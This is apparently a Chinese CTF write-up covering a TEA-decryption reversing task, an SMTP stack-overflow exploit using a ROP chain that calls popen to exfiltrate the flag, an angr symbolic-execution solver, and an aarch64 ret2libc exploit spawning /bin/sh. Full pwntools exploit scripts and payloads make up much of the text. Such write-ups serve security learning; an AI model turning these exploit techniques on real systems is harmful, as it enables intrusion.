RE small 题目本身不难,也没什么内容。但是我似乎没办法在本地运行它,并且也没办法反编译,所以只能静态分析汇编代码逻辑了。
IDA 打开以后没有识别到代码,所以手动将所有数据反编译以后筛出代码部分就能找到主要逻辑了。
不过代码似乎还加了花指令,我自己懒得手动 patch 中间的内容了,就纯读汇编代码。不过好在程序确实很小,中心逻辑非常少,tea 加密的相关汇编代码总共还没 30 行估计,马上就能看出来,然后写一些解密就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include<stdio.h> #include<stdlib.h> #include <cstdint> void decrypt(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1], sum = 0x67452301 * 35, i; uint32_t delta = 0x67452301; uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; for (i = 0; i < 35; i++) { v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } v[0] = v0; v[1] = v1; } int main() { unsigned char ida_chars1[] = { 0x43, 0x71, 0x08, 0xDE, 0xD2, 0x1B, 0xF9, 0xC4, 0xDC, 0xDA, 0xF6, 0xDA, 0x4C, 0xD5, 0x9E, 0x6D, 0xE7, 0x4E, 0xEB, 0x75, 0x04, 0xDC, 0x1D, 0x5D, 0xD9, 0x0F, 0x1B, 0x51, 0xFB, 0x88, 0xDC, 0x51 }; uint32_t ida_chars[8]; for (int i = 0; i < 8; i++) { ida_chars[i] = *((uint32_t*)ida_chars1 + i); } uint32_t key[4] = { 0x1,0x23,0x45,0x67 }; decrypt(ida_chars, key); decrypt(ida_chars+2, key); decrypt(ida_chars + 4, key); decrypt(ida_chars + 6, key); char* k = (char*)ida_chars; for (int i = 0; i < 32; i++) { printf("%c", *(k + i)); } }
static 没复现,看了一下发现是 aes+xxtea ,另外还有 z3 解方程什么的,感觉分析量很大,已经超出 pwn 手的需求范围了,就没复现了。
PWN SMTP 比赛的时候没能做出来,当时一直懒得去调试这道题,所以到最后都没验证漏洞是否存在,然后在赛后陷入无尽的后悔,寄。
关键代码其实并不大,哪怕是走 fuzz 都应该能找到溢出点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 void *__cdecl sender_worker(const char **a1) { char s[256]; // [esp+Ch] [ebp-10Ch] BYREF const char **v3; // [esp+10Ch] [ebp-Ch] puts("sender: starting work"); v3 = a1; len = strlen(a1[1]); puts("sender: sending message...."); printf("sender: FROM: %s\n", *a1); if ( strlen(*a1) <= 0x4F ) strcpy(from, *v3); if ( len <= 0xFFu ) { printf("sender: TO: %s\n", v3[1]); } else { memset(s, 0, sizeof(s)); strcpy(s, v3[1]);// <--------------溢出 printf("sender: TO: %s\n", s); } puts("sender: BODY:"); if ( v3[2] ) printf("%s", v3[2]); else puts("No body."); putchar(10); puts("sender: finished"); return 0; }
可以明显的看出,在调用 strcpy
时并没有检查字符串的长度,如果 v3[1]
的长度超过了 256 就能造成栈溢出了。
先检查一下程序的保护:
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
没有 PIE 的情况下,栈溢出能直接写 ROP 劫持程序流了,因此向上去跟一下 v3[1]
的源头:
1 2 3 4 5 6 7 8 int __cdecl session_submit(_DWORD *a1) { pthread_t newthread[2]; // [esp+Ch] [ebp-Ch] BYREF printf("session %d: received message '%s'\n", *a1, *(a1[4] + 8)); printf("session %d: handing off message to sender\n", *a1); return pthread_create(newthread, 0, sender_worker, a1[4]); }
最后根据参数可以确定出这段内容:
1 2 3 4 5 6 7 8 9 10 case 2: if ( v35[1] != 2 && v35[1] != 3 ) goto LABEL_41; v35[1] = 3; v14 = v35[4]; *(v14 + 4) = strdup(*(ptr + 1)); v15 = strlen(server_replies[0]); send(fd, server_replies[0], v15, 0); printf("session %d: state changed to got receipients\n", fd); break;
此处它将 RCPT TO:
后的数据放入到 *(v14 + 4)
处,我们用一段很长的数据来测试一下是否会引发崩溃:
1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote('127.0.0.1',9999) elf=ELF("./pwn") p.sendafter('220 SMTP tsmtp\n','HELO toka') p.sendafter('250 Ok\n',"MAIL FROM:toka") p.sendafter("250 Ok\n",b"RCPT TO:"+b"a"*0x104) p.sendafter('250 Ok\n','DATA') p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk") p.interactive()
而在服务端那边,我们确实成功触发了 core dump
:
1 2 3 sender: TO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa sender: BODY: Segmentation fault (core dumped)
那么接下来就是构造 ROP 把 flag 带出来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote('127.0.0.1',9999) elf=ELF("./pwn") p.sendafter('220 SMTP tsmtp\n','HELO toka') p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5;r\x00") payload=b"a"*0x100+p32(0x804d1d0)+b'a'*0xc+p32(elf.plt["popen"])+b'dead'+p32(0x804d140)+p32(0x804d14c+1) p.sendafter("250 Ok\n",b"RCPT TO:"+payload) p.sendafter('250 Ok\n','DATA') p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk") p.interactive()
看了一下其他师傅的 wp,发现它们不是通过 OR+Send 的链条写回 flag,而是通过 popen 执行 cat flag>&5
来直接执行指令,并将该指令的输出绑定到 fd=5,这确实比构造很长了 ROP 要来的优雅。
另外,由于程序是 32 位的,一些数据是通过栈进行传参的,比方说:
1 2 if ( v3[2] ) printf("%s", v3[2]);
它对应的汇编如下:
1 2 3 4 .text:08049AC8 8B 45 F4 mov eax, [ebp-0x0c] .text:08049ACB 8B 40 08 mov eax, [eax+8] .text:08049ACE 85 C0 test eax, eax .text:08049AD0 74 1B jz short loc_8049AED
如果在 strcpy
处覆盖返回地址,还需要保证 ebp-0x0c
处的内存能够访问,否则会引发崩溃。
捉迷藏 去年的 SCTF2021 遇到了一道名为 ret2text
的题目,和这题非常相似,都是程序体积较大,执行流较多,输入也挺多的,而且每个分支前面还有各自各样的运算和判断,即便找到了溢出点,也会苦于不知道该如何输入才能让程序走到那里。
而这次的题目和 SCTF 还不太一样,它的附件不会变化,因此如果不嫌麻烦,手算一下输入或许也能搞定,但 SCTF 的时候,每次 nc 过去的附件都不一样,而且超过一定世界会自动断连,所以必须要用自动化分析工具在一次连接内搞定。
由于程序的输入很多,为了加快进度可以写一下函数 hook 来替换输入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class ReplacementCheckEquals(angr.SimProcedure): def run(self, str1, str2): cmp1 = angr_load_str(self.state, str2).encode("ascii") cmp0 = self.state.memory.load(str1, len(cmp1)) self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32)) class ReplacementCheckInput(angr.SimProcedure): def run(self, buf, len): len = self.state.solver.eval(len) self.state.memory.store(buf, getBVV(self.state, len)) class ReplacementInputVal(angr.SimProcedure): def run(self): self.state.regs.rax = getBVV(self.state, 4, 'int') p.hook_symbol("fksth", ReplacementCheckEquals()) p.hook_symbol("input_line", ReplacementCheckInput()) p.hook_symbol("input_val", ReplacementInputVal())
angr 中的函数钩子模板如上,claripy.BVV(0, 32)
是用来生成向量符号的,相当于一个变量,第一个为变量名,第二个参数为变量的长度。
self.state.regs.rax
则是用来设置寄存器数据的,因为函数的返回值由 rax
寄存器保存,因此将结果写入 self.state.regs.rax
。
其他部分懒得写了,angr 姑且有 python 的语法结构,至少从语义上不难理解,细节可能要等以后学过 angr 才能看了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * import angr import claripy import base64 ret_rop = 0x4013C8 r=process("./pwn") p = angr.Project("./pwn") def getBVV(state, sizeInBytes, type = 'str'): global pathConditions name = 's_' + str(state.globals['symbols_count']) bvs = claripy.BVS(name, sizeInBytes * 8) state.globals['symbols_count'] += 1 state.globals[name] = (bvs, type) return bvs def angr_load_str(state, addr): s, i = '', 0 while True: ch = state.solver.eval(state.memory.load(addr + i, 1)) if ch == 0: break s += chr(ch) i += 1 return s class ReplacementCheckEquals(angr.SimProcedure): def run(self, str1, str2): cmp1 = angr_load_str(self.state, str2).encode("ascii") cmp0 = self.state.memory.load(str1, len(cmp1)) self.state.regs.rax = claripy.If(cmp1 == cmp0, claripy.BVV(0, 32), claripy.BVV(1, 32)) class ReplacementCheckInput(angr.SimProcedure): def run(self, buf, len): len = self.state.solver.eval(len) self.state.memory.store(buf, getBVV(self.state, len)) class ReplacementInputVal(angr.SimProcedure): def run(self): self.state.regs.rax = getBVV(self.state, 4, 'int') p.hook_symbol("fksth", ReplacementCheckEquals()) p.hook_symbol("input_line", ReplacementCheckInput()) p.hook_symbol("input_val", ReplacementInputVal()) enter = p.factory.entry_state() enter.globals['symbols_count'] = 0 simgr = p.factory.simgr(enter, save_unconstrained=True) d = simgr.explore() backdoor = p.loader.find_symbol('backdoor').rebased_addr for state in d.unconstrained: bindata = b'' rsp = state.regs.rsp next_stack = state.memory.load(rsp, 8, endness=p.arch.memory_endness) state.add_constraints(state.regs.rip == ret_rop) state.add_constraints(next_stack == backdoor) for i in range(state.globals['symbols_count']): s, s_type = state.globals['s_' + str(i)] if s_type == 'str': bb = state.solver.eval(s, cast_to=bytes) if bb.count(b'\x00') == len(bb): bb = b'A' * bb.count(b'\x00') bindata += bb print(bb) elif s_type == 'int': bindata += str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' ' print(str(state.solver.eval(s, cast_to=int)).encode('ASCII') + b' ') print(bindata) gdb.attach(r,"b*0x4079D7") r.send(bindata) r.interactive() break
ret2libc_aarch64 题目本身没有难点,一个任意地址泄露和一个无限栈溢出,但问题在于,程序是 aarch64 指令集,没学过这一套,加上需要 qemu 运行,不知道该怎么调试程序。
这里介绍一个能够通过 python 脚本交互的调试方案:
在 python 脚本里通过 qemu-aarch64 -g 1234 ./pwn
来启一个端口服务,此时该服务就会开始等待 gdb 连接:
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(os = "linux", arch = 'aarch64', log_level = 'debug') libc = ELF('./libc.so.6') file = './pwn' elf = ELF(file) p = process('qemu-aarch64 -g 1234 ./pwn', shell=True) p.recvuntil('>\n') io.interactive() shell()
接下来另外启一个 shell:
1 2 3 $ gdb-multiarch ./pwn pwndbg> b *0x4009A0 pwndbg> target remote:1234
然后这个 shell 中的 gdb 就会连接到 python 脚本中启动的服务上,然后其他过程正常调试即可。
另外一个点是,aarch64 平台下,函数返回值储存在 X30 寄存器中,这个寄存器在 GDB 中不会直接显示在上方的寄存器组中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ─────────────────────────────────[ REGISTERS ]────────────────────────────────── X0 0xb X1 0x40009bc5c0 ◂— 0x0 X2 0xfbad2887 X3 0x40009bf500 ◂— 0x0 X4 0x10 X5 0x8080808080800000 X6 0xfefefefefeff3d3d X7 0x7f7f7f7f7f7f7f7f X8 0x40 X9 0x5 X10 0xa X11 0xffffffffffffffff X12 0x400084fe48 ◂— 0x0 X13 0x0 X14 0x0 X15 0x6fffff47 X16 0x1 X17 0x40008b1928 (puts) ◂— stp x29, x30, [sp, #-0x40]! X18 0x73516240 X19 0x4009b8 (__libc_csu_init) ◂— stp x29, x30, [sp, #-0x40]! X20 0x0 X21 0x4006f0 (_start) ◂— movz x29, #0 X22 0x0 X23 0x0 X24 0x0 X25 0x0 X26 0x0 X27 0x0 X28 0x0 X29 0x40007ffdd0 —▸ 0x40007ffdf0 ◂— 0x0 SP 0x40007ffdd0 —▸ 0x40007ffdf0 ◂— 0x0 *PC 0x400948 (overflow) ◂— stp x29, x30, [sp, #-0x90]!
需要通过 info reg x30
查看具体值:
1 2 pwndbg> info reg x30 x30 0x400864 4196452
其中重点需要关注的质量是:
LDP x29, x30, [sp], #0x40
:将sp
弹栈到x29
,sp+0x8
弹栈到x30
,最后sp += 0x40
。
STP x4, x5, [sp, #0x20]
:将sp+0x20
处依次覆盖为x4,x5
,即x4
入栈到sp+0x20
,x5
入栈到sp+0x28
,最后sp
的位置不变。
可以注意到,程序会将栈中的数据写入到 x30 寄存器来修改返回值,这意味栈溢出仍然能够劫持执行流。
然后就是漫长的调试去通过 ROP 确定返回劫持控制流了:这里直接用了 Nirvana 师傅的 ROP 链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import * context(os = "linux", arch = 'aarch64', log_level = 'debug') libc = ELF('./libc.so.6') file = './pwn' elf = ELF(file) local = 1 if local: io = process('qemu-aarch64 -g 1234 ./pwn', shell=True) else: io = remote('39.106.76.68',30154) r = lambda : io.recv() rx = lambda x: io.recv(x) ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) li = lambda name,x : log.info(name+':'+hex(x)) shell = lambda : io.interactive() ru('>\n') s('1') ru('sensible>>\n') s(p64(elf.got['puts'])) libcbase = u64(rx(3).ljust(8,b'\x00')) + 0x4000000000 - libc.sym['puts'] li('libcbase',libcbase) ru('>\n') s('2') ru('sensible>>\n') #padding 136 system = libcbase + libc.sym['system'] bin_sh = libcbase + next(libc.search(b'/bin/sh\x00')) gadget1_addr=libcbase + 0x72450 gadget2_addr=libcbase + 0x72448 payload = p64(gadget2_addr)*2 + b'a'*0x78 + p64(gadget1_addr)+ p64(gadget2_addr)*7+p64(bin_sh) + p64(system)*5 io.sendline(payload) io.send('3') io.interactive() shell()
note 这题倒是没啥难度,当时起床晚了看了一下题目,leof 师傅三下五除二就搞出来了就没继续看了。